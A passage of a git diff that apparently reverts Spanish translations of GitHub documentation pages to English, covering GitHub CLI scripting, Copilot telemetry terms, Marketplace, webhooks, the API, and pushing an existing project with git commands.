script con el marcador `-h` o `--help`, este imprime el texto de ayuda en vez de continuar con la ejecución. Cuando se llama al script con el marcador `--name`, este configura el siguiente valor después del marcador en `name_arg`. Cuando se llama al script con el marcador `--verbose`, este imprime un saludo diferente. +For example, this script handles multiple flags. When the script is called with the `-h` or `--help` flag, the script prints help text instead of continuing execution. When the script is called with the `--name` flag, the script sets the next value after the flag to `name_arg`. When the script is called with the `--verbose` flag, the script prints a different greeting. ```bash #!/usr/bin/env bash @@ -118,36 +118,36 @@ else fi ``` -### Llamar a los comandos de forma no interactiva +### Calling core commands in non-interactive mode -Algunos comandos nucleares de {% data variables.product.prodname_cli %} pedirán la entrada del usuario. Cuando se hagan scripts con estos comandos, un mensaje a menudo se considera indeseable. Para evitar los mensajes, proporciona la información necesaria explícitamente a través de argumentos. +Some {% data variables.product.prodname_cli %} core commands will prompt the user for input. When scripting with those commands, a prompt is often undesirable. To avoid prompting, supply the necessary information explicitly via arguments. -Por ejemplo, para crear una propuesta con programación, especifica el título y cuerpo: +For example, to create an issue programmatically, specify the title and body: ```bash gh issue create --title "My Title" --body "Issue description" ``` -### Recuperar datos con programación +### Fetching data programatically -Muchos comandos nucleares son compatibles con el marcador `--json` para recuperar datos con programación. Por ejemplo, para devolver un objeto JSON listando el número, título y estado de capacidad de fusión de las solicitudes de cambios: +Many core commands support the `--json` flag for fetching data programatically. For example, to return a JSON object listing the number, title, and mergeability status of pull requests: ```bash gh pr list --json number,title,mergeStateStatus ``` -Si no hay un comando nuclear para recuperar datos específicos de GitHub, puedes utilizar el comando [`gh api`](https://cli.github.com/manual/gh_api) para acceder a la API de GitHub. Por ejemplo, para recuperar información sobre el usuario actual: +If there is not a core command to fetch specific data from GitHub, you can use the [`gh api`](https://cli.github.com/manual/gh_api) command to access the GitHub API. For example, to fetch information about the current user: ```bash gh api user ``` -Todos los comandos que emiten datos de JSON también tiene opciones para filtrar estos datos hacia algo más inmediatamente útil mediante scripts. Por ejemplo, para obtener el nombre del usuario actual: +All commands that output JSON data also have options to filter that data into something more immediately usable by scripts. For example, to get the current user's name: ```bash gh api user --jq '.name' ``` -Para obtener más información, consulta [`gh help formatting`](https://cli.github.com/manual/gh_help_formatting). +For more information, see [`gh help formatting`](https://cli.github.com/manual/gh_help_formatting). -## Pasos siguientes +## Next steps -Para ver más ejemplos de extensiones de {% data variables.product.prodname_cli %}, revisa el [tema de repositorios con la `gh-extension`](https://github.com/topics/gh-extension). +To see more examples of {% data variables.product.prodname_cli %} extensions, look at [repositories with the `gh-extension` topic](https://github.com/topics/gh-extension). diff --git a/translations/es-ES/content/github/copilot/github-copilot-telemetry-terms.md b/translations/es-ES/content/github/copilot/github-copilot-telemetry-terms.md index b3b04bdf40..ef3c3b99c6 100644 --- a/translations/es-ES/content/github/copilot/github-copilot-telemetry-terms.md +++ b/translations/es-ES/content/github/copilot/github-copilot-telemetry-terms.md @@ -9,9 +9,9 @@ versions: effectiveDate: '2021-10-04' --- -## Telemetría adicional +## Additional telemetry If you use {% data variables.product.prodname_copilot %}, the {% data variables.product.prodname_copilot %} extension/plugin will collect usage information about events generated by interacting with the integrated development environment (IDE). These events include {% data variables.product.prodname_copilot %} performance, features used, and suggestions accepted, modified and accepted, or dismissed. This information may include personal data, including your User Personal Information, as defined in the [GitHub Privacy Statement](/github/site-policy/github-privacy-statement). -This usage information is used by {% data variables.product.company_short %}, and shared with Microsoft and OpenAI, to develop and improve the extension/plugin and related products. OpenAI also uses this usage information to perform other services related to {% data variables.product.prodname_copilot %}. For example, when you edit files with the {% data variables.product.prodname_copilot %} extension/plugin enabled, file content snippets, suggestions, and any modifications to suggestions will be shared with {% data variables.product.company_short %}, Microsoft, and OpenAI, and used for diagnostic purposes to improve suggestions and related products. {% data variables.product.prodname_copilot %} relies on file content for context, both in the file you are editing and potentially other files open in the same IDE instance. When you are using {% data variables.product.prodname_copilot %}, it may also collect the URLs of repositories or file paths for relevant files. {% data variables.product.prodname_copilot %} does not use these URLs, file paths, or snippets collected in your telemetry as suggestions for other users of {% data variables.product.prodname_copilot %}. This information is treated as confidential information and accessed on a need-to-know basis. Se te prohíbe recolectar datos de telemetría sobre otros usuarios del {% data variables.product.prodname_copilot %} desde la extensión/aditamento del {% data variables.product.prodname_copilot %}. Para obtener más detalles sobre la telemetría del {% data variables.product.prodname_copilot %}, por favor, consulta la sección "[Acerca de la telemetría del {% data variables.product.prodname_copilot %}](/github/copilot/about-github-copilot-telemetry)". Puedes revocar tu consentimiento de las operaciones sobre el procesamiento de datos personales y la telemetría que se describen en este párrafo si contactas a GitHub y solicitas la eliminación de la vista previa técnica. +This usage information is used by {% data variables.product.company_short %}, and shared with Microsoft and OpenAI, to develop and improve the extension/plugin and related products. OpenAI also uses this usage information to perform other services related to {% data variables.product.prodname_copilot %}. For example, when you edit files with the {% data variables.product.prodname_copilot %} extension/plugin enabled, file content snippets, suggestions, and any modifications to suggestions will be shared with {% data variables.product.company_short %}, Microsoft, and OpenAI, and used for diagnostic purposes to improve suggestions and related products. {% data variables.product.prodname_copilot %} relies on file content for context, both in the file you are editing and potentially other files open in the same IDE instance. When you are using {% data variables.product.prodname_copilot %}, it may also collect the URLs of repositories or file paths for relevant files. {% data variables.product.prodname_copilot %} does not use these URLs, file paths, or snippets collected in your telemetry as suggestions for other users of {% data variables.product.prodname_copilot %}. This information is treated as confidential information and accessed on a need-to-know basis. You are prohibited from collecting telemetry data about other users of {% data variables.product.prodname_copilot %} from the {% data variables.product.prodname_copilot %} extension/plugin. For more details about {% data variables.product.prodname_copilot %} telemetry, please see "[About {% data variables.product.prodname_copilot %} telemetry](/github/copilot/about-github-copilot-telemetry)." You may revoke your consent to the telemetry and personal data processing operations described in this paragraph by contacting GitHub and requesting removal from the technical preview. diff --git a/translations/es-ES/content/github/customizing-your-github-workflow/exploring-integrations/about-github-marketplace.md b/translations/es-ES/content/github/customizing-your-github-workflow/exploring-integrations/about-github-marketplace.md index a9479ad8a7..d943c3326f 100644 --- a/translations/es-ES/content/github/customizing-your-github-workflow/exploring-integrations/about-github-marketplace.md +++ b/translations/es-ES/content/github/customizing-your-github-workflow/exploring-integrations/about-github-marketplace.md @@ -1,6 +1,6 @@ --- -title: Acerca de Mercado GitHub -intro: '{% data variables.product.prodname_marketplace %} contiene herramientas que adicionan funcionalidad y mejoran tu flujo de trabajo.' +title: About GitHub Marketplace +intro: '{% data variables.product.prodname_marketplace %} contains tools that add functionality and improve your workflow.' redirect_from: - /articles/about-github-marketplace - /github/customizing-your-github-workflow/about-github-marketplace @@ -8,28 +8,27 @@ versions: fpt: '*' ghec: '*' --- +You can discover, browse, and install free and paid tools, including {% data variables.product.prodname_github_apps %}, {% data variables.product.prodname_oauth_apps %}, and {% data variables.product.prodname_actions %}, in [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace). -En [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace), puedes descubrir, buscar e instalar herramientas de pago y gratuitas, incluyendo {% data variables.product.prodname_github_apps %}, {% data variables.product.prodname_oauth_apps %} y {% data variables.product.prodname_actions %}. +If you purchase a paid tool, you'll pay for your tool subscription with the same billing information you use to pay for your {% data variables.product.product_name %} subscription, and receive one bill on your regular billing date. For more information, see "[About billing for {% data variables.product.prodname_marketplace %}](/articles/about-billing-for-github-marketplace)." -Si compras una herramienta paga, pagarás por tu suscripción a la herramienta con la misma información de facturación que usas para pagar la suscripción de {% data variables.product.product_name %} y recibirás una factura en tu fecha de facturación regular. Para obtener más información, consulta "[Acerca de la facturación para {% data variables.product.prodname_marketplace %}](/articles/about-billing-for-github-marketplace)". +You may also have the option to select a free 14-day trial on some tools. You can cancel at any time during your trial and you won't be charged, but you will automatically lose access to the tool. Your paid subscription will start at the end of the 14-day trial. For more information, see "[About billing for {% data variables.product.prodname_marketplace %}](/articles/about-billing-for-github-marketplace)." -También puedes tener la opción de seleccionar una prueba gratuita de 14 días en algunas herramientas. Puedes cancelar en cualquier momento durante tu prueba y no se te cobrará, pero automáticamente perderás acceso a la herramienta. Tu suscripción paga comenzará al finalizar la prueba de 14 días. Para obtener más información, consulta "[Acerca de la facturación para {% data variables.product.prodname_marketplace %}](/articles/about-billing-for-github-marketplace)". +## Finding tools on {% data variables.product.prodname_marketplace %} -## Encontrar herramientas en {% data variables.product.prodname_marketplace %} - -Puedes descubrir, buscar e instalar apps y acciones que otros hayan creado en {% data variables.product.prodname_marketplace %}, consulta la sección "[Buscar en {% data variables.product.prodname_marketplace %}](/search-github/searching-on-github/searching-github-marketplace)". +You can discover, browse, and install apps and actions created by others on {% data variables.product.prodname_marketplace %}, see "[Searching {% data variables.product.prodname_marketplace %}](/search-github/searching-on-github/searching-github-marketplace)." {% data reusables.actions.actions-not-verified %} -Cualquiera puede listar una {% data variables.product.prodname_github_app %} o {% data variables.product.prodname_oauth_app %} gratuita en {% data variables.product.prodname_marketplace %}. {% data variables.product.company_short %} verifica a los publicadores de las apps de pago y los listados de estas se muestran con una insignia de marketplace {% octicon "verified" aria-label="Verified creator badge" %}. También podrás ver insignias para las apps verificadas y sin verificar. Estas apps se publicaron utilizando el método anterior para verificar apps individuales. Para obtener más información sobre los procesos actuales, consulta las secciones "[Acerca de GitHub Marketplace](/developers/github-marketplace/about-github-marketplace)" y "[Requisitos para listar una app](/developers/github-marketplace/requirements-for-listing-an-app)". +Anyone can list a free {% data variables.product.prodname_github_app %} or {% data variables.product.prodname_oauth_app %} on {% data variables.product.prodname_marketplace %}. Publishers of paid apps are verified by {% data variables.product.company_short %} and listings for these apps are shown with a marketplace badge {% octicon "verified" aria-label="Verified creator badge" %}. You will also see badges for unverified and verified apps. These apps were published using the previous method for verifying individual apps. For more information about the current process, see "[About GitHub Marketplace](/developers/github-marketplace/about-github-marketplace)" and "[Requirements for listing an app](/developers/github-marketplace/requirements-for-listing-an-app)." -## Crear y hacer aparecer una herramienta en {% data variables.product.prodname_marketplace %} +## Building and listing a tool on {% data variables.product.prodname_marketplace %} -Para obtener más información acerca de cómo crear tu propia herramienta para que se liste en {% data variables.product.prodname_marketplace %}, consulta las secciones de "[Aplicaciones](/developers/apps)" y "[{% data variables.product.prodname_actions %}](/actions)". +For more information on creating your own tool to list on {% data variables.product.prodname_marketplace %}, see "[Apps](/developers/apps)" and "[{% data variables.product.prodname_actions %}](/actions)." -## Leer más +## Further reading -- "[Comprar e instalar aplicaciones en {% data variables.product.prodname_marketplace %}](/articles/purchasing-and-installing-apps-in-github-marketplace)" -- "[Administrar la facturación de las apps de {% data variables.product.prodname_marketplace %}](/articles/managing-billing-for-github-marketplace-apps)" -- "[Soporte técnico de {% data variables.product.prodname_marketplace %}](/articles/github-marketplace-support)" -- "[Diferencias entre las GitHub Apps y las Apps de OAuth](/developers/apps/differences-between-github-apps-and-oauth-apps)" +- "[Purchasing and installing apps in {% data variables.product.prodname_marketplace %}](/articles/purchasing-and-installing-apps-in-github-marketplace)" +- "[Managing billing for {% data variables.product.prodname_marketplace %} apps](/articles/managing-billing-for-github-marketplace-apps)" +- "[{% data variables.product.prodname_marketplace %} support](/articles/github-marketplace-support)" +- "[Differences between GitHub Apps and OAuth Apps](/developers/apps/differences-between-github-apps-and-oauth-apps)" diff --git a/translations/es-ES/content/github/extending-github/about-webhooks.md b/translations/es-ES/content/github/extending-github/about-webhooks.md index b2236f5e92..427f5d57d0 100644 --- a/translations/es-ES/content/github/extending-github/about-webhooks.md +++ b/translations/es-ES/content/github/extending-github/about-webhooks.md @@ -1,11 +1,11 @@ --- -title: Acerca de webhooks +title: About webhooks redirect_from: - /post-receive-hooks/ - /articles/post-receive-hooks/ - /articles/creating-webhooks/ - /articles/about-webhooks -intro: Los webhooks ofrecen una manera de enviar las notificaciones a un servidor web externo siempre que ciertas acciones ocurran en un repositorio o una organización. +intro: Webhooks provide a way for notifications to be delivered to an external web server whenever certain actions occur on a repository or organization. versions: fpt: '*' ghes: '*' @@ -15,17 +15,17 @@ versions: {% tip %} -**Sugerencia:**{% data reusables.organizations.owners-and-admins-can %} administrar webhooks para una organización. {% data reusables.organizations.new-org-permissions-more-info %} +**Tip:** {% data reusables.organizations.owners-and-admins-can %} manage webhooks for an organization. {% data reusables.organizations.new-org-permissions-more-info %} {% endtip %} -Los webhooks se pueden disparar siempre que se realicen una variedad de acciones en un repositorio o una organización. Por ejemplo, puedes configurar tus webhooks para ejecutarse siemrpe que: +Webhooks can be triggered whenever a variety of actions are performed on a repository or an organization. For example, you can configure a webhook to execute whenever: -* Se suba a un repositorio. -* Se abra una solicitud de extracción. -* Se cree un sitio {% data variables.product.prodname_pages %}. -* Se agregue un nuevo miembro a un equipo. +* A repository is pushed to +* A pull request is opened +* A {% data variables.product.prodname_pages %} site is built +* A new member is added to a team Using the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, you can make these webhooks update an external issue tracker, trigger CI builds, update a backup mirror, or even deploy to your production server. -Para configurar un webhook nuevo, necesitarás acceso a un servidor externo y estar familiarizado con los procedimientos técnicos involucrados. Para obtener ayuda para crear un webhook, lo cual incluye un listado completo de las acciones con las que lo puedes asociar, consulta la secicón "[Webhooks](/webhooks)". +To set up a new webhook, you'll need access to an external server and familiarity with the technical procedures involved. For help on building a webhook, including a full list of actions you can associate with, see "[Webhooks](/webhooks)." diff --git a/translations/es-ES/content/github/extending-github/getting-started-with-the-api.md b/translations/es-ES/content/github/extending-github/getting-started-with-the-api.md index ea2210f403..3f1a0f8ad3 100644 --- a/translations/es-ES/content/github/extending-github/getting-started-with-the-api.md +++ b/translations/es-ES/content/github/extending-github/getting-started-with-the-api.md @@ -1,5 +1,5 @@ --- -title: Comenzar con la API +title: Getting started with the API redirect_from: - /articles/getting-started-with-the-api versions: @@ -7,14 +7,14 @@ versions: ghes: '*' ghae: '*' ghec: '*' -shortTitle: API de introducción +shortTitle: Get started API --- To automate common tasks, back up your data, or create integrations that extend {% data variables.product.product_name %}, you can use the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API. -Para obtener más información acerca de la API, consulta la [API de REST de GitHub](/rest) y la [API de GraphQL de GitHub]({% ifversion ghec %}/free-pro-team@latest/{% endif %}/graphql). También puedes mantenerte actualizado respecto de las novedades relacionadas con la API siguiendo el [{% data variables.product.prodname_dotcom %}Blog del programador](https://developer.github.com/changes/). +For more information about the API, see the [GitHub REST API](/rest) and [GitHub GraphQL API]({% ifversion ghec %}/free-pro-team@latest/{% endif %}/graphql). You can also stay current with API-related news by following the [{% data variables.product.prodname_dotcom %} Developer blog](https://developer.github.com/changes/). -## Leer más +## Further reading -- "[Respaldar un repositorio](/articles/backing-up-a-repository)"{% ifversion fpt or ghec %} -- "[Acerca de las integraciones](/articles/about-integrations)"{% endif %} +- "[Backing up a repository](/articles/backing-up-a-repository)"{% ifversion fpt or ghec %} +- "[About integrations](/articles/about-integrations)"{% endif %} diff --git a/translations/es-ES/content/github/importing-your-projects-to-github/importing-source-code-to-github/adding-an-existing-project-to-github-using-the-command-line.md b/translations/es-ES/content/github/importing-your-projects-to-github/importing-source-code-to-github/adding-an-existing-project-to-github-using-the-command-line.md index b59d5b1349..5011d23fb9 100644 --- a/translations/es-ES/content/github/importing-your-projects-to-github/importing-source-code-to-github/adding-an-existing-project-to-github-using-the-command-line.md +++ b/translations/es-ES/content/github/importing-your-projects-to-github/importing-source-code-to-github/adding-an-existing-project-to-github-using-the-command-line.md @@ -1,6 +1,6 @@ --- -title: Agregar un proyecto existente a GitHub utilizando la línea de comando -intro: 'Poner tu trabajo existente en {% data variables.product.product_name %} puede permitirte compartir y colaborar de muchas maneras increíbles.' +title: Adding an existing project to GitHub using the command line +intro: 'Putting your existing work on {% data variables.product.product_name %} can let you share and collaborate in lots of great ways.' redirect_from: - /articles/add-an-existing-project-to-github/ - /articles/adding-an-existing-project-to-github-using-the-command-line @@ -10,79 +10,74 @@ versions: ghes: '*' ghae: '*' ghec: '*' -shortTitle: Agregar un proyecto localmente +shortTitle: Add a project locally --- -## Acerca de agregar proyectos existentes a {% data variables.product.product_name %} +## About adding existing projects to {% data variables.product.product_name %} {% tip %} -**Sugerencia:** Si estás más a gusto con una interfaz de usuario de tipo "apuntar y hacer clic", trata de agregar tu proyecto con {% data variables.product.prodname_desktop %}. Para más información, consulta "[Agregar un repositorio de tu computadora local a GitHub Desktop](/desktop/guides/contributing-to-projects/adding-a-repository-from-your-local-computer-to-github-desktop)" en *{% data variables.product.prodname_desktop %} Ayuda*. +**Tip:** If you're most comfortable with a point-and-click user interface, try adding your project with {% data variables.product.prodname_desktop %}. For more information, see "[Adding a repository from your local computer to GitHub Desktop](/desktop/guides/contributing-to-projects/adding-a-repository-from-your-local-computer-to-github-desktop)" in the *{% data variables.product.prodname_desktop %} Help*. {% endtip %} {% data reusables.repositories.sensitive-info-warning %} -## Agregar un proyecto a {% data variables.product.product_name %} con {% data variables.product.prodname_cli %} +## Adding a project to {% data variables.product.product_name %} with {% data variables.product.prodname_cli %} -{% data variables.product.prodname_cli %} es una herramienta de código abierto para utilizar {% data variables.product.prodname_dotcom %} desde la línea de comandos de tu computadora. El {% data variables.product.prodname_cli %} puede simplificar el proceso de agregar un proyecto existente a {% data variables.product.product_name %} utilizando la línea de comandos. Para aprender más sobre el {% data variables.product.prodname_cli %}, consulta la sección "[Acerca del {% data variables.product.prodname_cli %}](/github-cli/github-cli/about-github-cli)". +{% data variables.product.prodname_cli %} is an open source tool for using {% data variables.product.prodname_dotcom %} from your computer's command line. {% data variables.product.prodname_cli %} can simplify the process of adding an existing project to {% data variables.product.product_name %} using the command line. To learn more about {% data variables.product.prodname_cli %}, see "[About {% data variables.product.prodname_cli %}](/github-cli/github-cli/about-github-cli)." -1. En la línea de comandos, navega al directorio raíz de tu proyecto. -1. Inicializar el directorio local como un repositorio de Git. +1. In the command line, navigate to the root directory of your project. +1. Initialize the local directory as a Git repository. ```shell git init -b main ``` -1. Para crear un repositorio para tu proyecto en {% data variables.product.product_name %}, utiliza el subcomando `gh repo create`. Reemplaza a `project-name` con el nombre que deseas dar a tu repositorio. Si quieres que tu proyecto pertenezca a una organización en vez de a tu cuenta de usuario, especifica el nombre de la organización y del proyecto con `organization-name/project-name`. +1. Stage and commit all the files in your project ```shell - gh repo create project-name + git add . && git commit -m "initial commit" ``` -1. Sigue los mensajes interactivos. Como alternativa, puedes especificar los argumentos para omitir estos mensajes. Para obtener más información sobre los argumentos posibles, consulta [el manual de {% data variables.product.prodname_cli %}](https://cli.github.com/manual/gh_repo_create). -1. Extrae los cambios del repositorio nuevo que creaste. (Si creaste un archivo `.gitignore` o `LICENSE` en el paso anterior, esto extraerá dichos cambios en tu directorio local.) +1. To create a repository for your project on GitHub, use the `gh repo create` subcommand. When prompted, select **Push an existing local repository to GitHub** and enter the desired name for your repository. If you want your project to belong to an organization instead of your user account, specify the organization name and project name with `organization-name/project-name`. + +1. Follow the interactive prompts. To add the remote and push the repository, confirm yes when asked to add the remote and push the commits to the current branch. - ```shell - git pull --set-upstream origin main - ``` +1. Alternatively, to skip all the prompts, supply the path to the repository with the `--source` flag and pass a visibility flag (`--public`, `--private`, or `--internal`). For example, `gh repo create --source=. --public`. Specify a remote with the `--remote` flag. To push your commits, pass the `--push` flag. For more information about possible arguments, see the [GitHub CLI manual](https://cli.github.com/manual/gh_repo_create). -1. Prueba, confirma y sube todos los archivos de tu proyecto. - - ```shell - git add . && git commit -m "initial commit" && git push - ``` - -## Agregar un proyecto a {% data variables.product.product_name %} sin el {% data variables.product.prodname_cli %} +## Adding a project to {% data variables.product.product_name %} without {% data variables.product.prodname_cli %} {% mac %} -1. [Crear un repositorio nuevo](/repositories/creating-and-managing-repositories/creating-a-new-repository) en {% data variables.product.product_location %}. Para evitar errores, no inicialices el nuevo repositorio con archivos *README* licencia o `gitingnore`. Puedes agregar estos archivos después de que tu proyecto se haya subido a {% data variables.product.product_name %}. ![Desplegable Create New Repository (Crear nuevo repositorio)](/assets/images/help/repository/repo-create.png) +1. [Create a new repository](/repositories/creating-and-managing-repositories/creating-a-new-repository) on {% data variables.product.product_location %}. To avoid errors, do not initialize the new repository with *README*, license, or `gitignore` files. You can add these files after your project has been pushed to {% data variables.product.product_name %}. + ![Create New Repository drop-down](/assets/images/help/repository/repo-create.png) {% data reusables.command_line.open_the_multi_os_terminal %} -3. Cambiar el directorio de trabajo actual en tu proyecto local. -4. Inicializar el directorio local como un repositorio de Git. +3. Change the current working directory to your local project. +4. Initialize the local directory as a Git repository. ```shell $ git init -b main ``` -5. Agregar los archivos a tu nuevo repositorio local. Esto representa la primera confirmación. +5. Add the files in your new local repository. This stages them for the first commit. ```shell $ git add . - # Agrega el archivo en el repositorio local y lo presenta para la confirmación. {% data reusables.git.unstage-codeblock %} + # Adds the files in the local repository and stages them for commit. {% data reusables.git.unstage-codeblock %} ``` -6. Confirmar los archivos que has preparado en tu repositorio local. +6. Commit the files that you've staged in your local repository. ```shell $ git commit -m "First commit" # Commits the tracked changes and prepares them to be pushed to a remote repository. {% data reusables.git.reset-head-to-previous-commit-codeblock %} ``` -7. At the top of your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}'s Quick Setup page, click {% octicon "clippy" aria-label="The copy to clipboard icon" %} to copy the remote repository URL. ![Copiar el campo de URL de repositorio remoto](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png) -8. En Terminal, [agrega la URL para el repositorio remoto](/github/getting-started-with-github/managing-remote-repositories) donde se subirá tu repositorio local. +7. At the top of your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}'s Quick Setup page, click {% octicon "clippy" aria-label="The copy to clipboard icon" %} to copy the remote repository URL. + ![Copy remote repository URL field](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png) +8. In Terminal, [add the URL for the remote repository](/github/getting-started-with-github/managing-remote-repositories) where your local repository will be pushed. ```shell $ git remote add origin <REMOTE_URL> # Sets the new remote $ git remote -v # Verifies the new remote URL ``` -9. [Sube los cambios](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/) en tu repositorio local a {% data variables.product.product_location %}. +9. [Push the changes](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/) in your local repository to {% data variables.product.product_location %}. ```shell $ git push -u origin main # Pushes the changes in your local repository up to the remote repository you specified as the origin @@ -92,32 +87,34 @@ shortTitle: Agregar un proyecto localmente {% windows %} -1. [Crear un repositorio nuevo](/articles/creating-a-new-repository) en {% data variables.product.product_location %}. Para evitar errores, no inicialices el nuevo repositorio con archivos *README* licencia o `gitingnore`. Puedes agregar estos archivos después de que tu proyecto se haya subido a {% data variables.product.product_name %}. ![Desplegable Create New Repository (Crear nuevo repositorio)](/assets/images/help/repository/repo-create.png) +1. [Create a new repository](/articles/creating-a-new-repository) on {% data variables.product.product_location %}. To avoid errors, do not initialize the new repository with *README*, license, or `gitignore` files. You can add these files after your project has been pushed to {% data variables.product.product_name %}. + ![Create New Repository drop-down](/assets/images/help/repository/repo-create.png) {% data reusables.command_line.open_the_multi_os_terminal %} -3. Cambiar el directorio de trabajo actual en tu proyecto local. -4. Inicializar el directorio local como un repositorio de Git. +3. Change the current working directory to your local project. +4. Initialize the local directory as a Git repository. ```shell $ git init -b main ``` -5. Agregar los archivos a tu nuevo repositorio local. Esto representa la primera confirmación. +5. Add the files in your new local repository. This stages them for the first commit. ```shell $ git add . - # Agrega el archivo en el repositorio local y lo presenta para la confirmación. {% data reusables.git.unstage-codeblock %} + # Adds the files in the local repository and stages them for commit. {% data reusables.git.unstage-codeblock %} ``` -6. Confirmar los archivos que has preparado en tu repositorio local. +6. Commit the files that you've staged in your local repository. ```shell $ git commit -m "First commit" # Commits the tracked changes and prepares them to be pushed to a remote repository. {% data reusables.git.reset-head-to-previous-commit-codeblock %} ``` -7. At the top of your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}'s Quick Setup page, click {% octicon "clippy" aria-label="The copy to clipboard icon" %} to copy the remote repository URL. ![Copiar el campo de URL de repositorio remoto](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png) -8. En la indicación Command (Comando), [agrega la URL para el repositorio remoto](/github/getting-started-with-github/managing-remote-repositories) donde se subirá tu repositorio local. +7. At the top of your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}'s Quick Setup page, click {% octicon "clippy" aria-label="The copy to clipboard icon" %} to copy the remote repository URL. + ![Copy remote repository URL field](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png) +8. In the Command prompt, [add the URL for the remote repository](/github/getting-started-with-github/managing-remote-repositories) where your local repository will be pushed. ```shell $ git remote add origin <REMOTE_URL> # Sets the new remote $ git remote -v # Verifies the new remote URL ``` -9. [Sube los cambios](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/) en tu repositorio local a {% data variables.product.product_location %}. +9. [Push the changes](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/) in your local repository to {% data variables.product.product_location %}. ```shell $ git push origin main # Pushes the changes in your local repository up to the remote repository you specified as the origin @@ -127,32 +124,34 @@ shortTitle: Agregar un proyecto localmente {% linux %} -1. [Crear un repositorio nuevo](/articles/creating-a-new-repository) en {% data variables.product.product_location %}. Para evitar errores, no inicialices el nuevo repositorio con archivos *README* licencia o `gitingnore`. Puedes agregar estos archivos después de que tu proyecto se haya subido a {% data variables.product.product_name %}. ![Desplegable Create New Repository (Crear nuevo repositorio)](/assets/images/help/repository/repo-create.png) +1. [Create a new repository](/articles/creating-a-new-repository) on {% data variables.product.product_location %}. To avoid errors, do not initialize the new repository with *README*, license, or `gitignore` files. You can add these files after your project has been pushed to {% data variables.product.product_name %}. + ![Create New Repository drop-down](/assets/images/help/repository/repo-create.png) {% data reusables.command_line.open_the_multi_os_terminal %} -3. Cambiar el directorio de trabajo actual en tu proyecto local. -4. Inicializar el directorio local como un repositorio de Git. +3. Change the current working directory to your local project. +4. Initialize the local directory as a Git repository. ```shell $ git init -b main ``` -5. Agregar los archivos a tu nuevo repositorio local. Esto representa la primera confirmación. +5. Add the files in your new local repository. This stages them for the first commit. ```shell $ git add . - # Agrega el archivo en el repositorio local y lo presenta para la confirmación. {% data reusables.git.unstage-codeblock %} + # Adds the files in the local repository and stages them for commit. {% data reusables.git.unstage-codeblock %} ``` -6. Confirmar los archivos que has preparado en tu repositorio local. +6. Commit the files that you've staged in your local repository. ```shell $ git commit -m "First commit" # Commits the tracked changes and prepares them to be pushed to a remote repository. {% data reusables.git.reset-head-to-previous-commit-codeblock %} ``` -7. At the top of your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}'s Quick Setup page, click {% octicon "clippy" aria-label="The copy to clipboard icon" %} to copy the remote repository URL. ![Copiar el campo de URL de repositorio remoto](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png) -8. En Terminal, [agrega la URL para el repositorio remoto](/github/getting-started-with-github/managing-remote-repositories) donde se subirá tu repositorio local. +7. At the top of your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}'s Quick Setup page, click {% octicon "clippy" aria-label="The copy to clipboard icon" %} to copy the remote repository URL. + ![Copy remote repository URL field](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png) +8. In Terminal, [add the URL for the remote repository](/github/getting-started-with-github/managing-remote-repositories) where your local repository will be pushed. ```shell $ git remote add origin <REMOTE_URL> # Sets the new remote $ git remote -v # Verifies the new remote URL ``` -9. [Sube los cambios](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/) en tu repositorio local a {% data variables.product.product_location %}. +9. [Push the changes](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/) in your local repository to {% data variables.product.product_location %}. ```shell $ git push origin main # Pushes the changes in your local repository up to the remote repository you specified as the origin @@ -160,6 +159,6 @@ shortTitle: Agregar un proyecto localmente {% endlinux %} -## Leer más +## Further reading -- "[Agregar un archivo a un repositorio](/repositories/working-with-files/managing-files/adding-a-file-to-a-repository#adding-a-file-to-a-repository-using-the-command-line)" +- "[Adding a file to a repository](/repositories/working-with-files/managing-files/adding-a-file-to-a-repository#adding-a-file-to-a-repository-using-the-command-line)" diff --git a/translations/es-ES/content/github/importing-your-projects-to-github/working-with-subversion-on-github/what-are-the-differences-between-subversion-and-git.md b/translations/es-ES/content/github/importing-your-projects-to-github/working-with-subversion-on-github/what-are-the-differences-between-subversion-and-git.md index e10d69a0f5..210871bbb5 100644 --- a/translations/es-ES/content/github/importing-your-projects-to-github/working-with-subversion-on-github/what-are-the-differences-between-subversion-and-git.md +++ b/translations/es-ES/content/github/importing-your-projects-to-github/working-with-subversion-on-github/what-are-the-differences-between-subversion-and-git.md @@ -1,6 +1,6 @@ --- -title: ¿Cuáles son las diferencias entre Subversion y Git? -intro: 'Los repositorios de Subversion (SVN) son similares a los repositorios de Git, pero hay diferencias cuando se refiere a la arquitectura de tus proyectos.' +title: What are the differences between Subversion and Git? +intro: 'Subversion (SVN) repositories are similar to Git repositories, but there are several differences when it comes to the architecture of your projects.' redirect_from: - /articles/what-are-the-differences-between-svn-and-git/ - /articles/what-are-the-differences-between-subversion-and-git @@ -9,12 +9,11 @@ versions: fpt: '*' ghes: '*' ghec: '*' -shortTitle: Diferencias entre Subversion & Git +shortTitle: Subversion & Git differences --- +## Directory structure -## Estructura del directorio - -Cada *referencia*, o instantánea etiquetada de una confirmación, en un proyecto se organiza dentro de subdirectorios específicos, como `tronco`, `ramas` y `etiquetas`. Por ejemplo, un proyecto SVN con dos características bajo desarrollo debería parecerse a esto: +Each *reference*, or labeled snapshot of a commit, 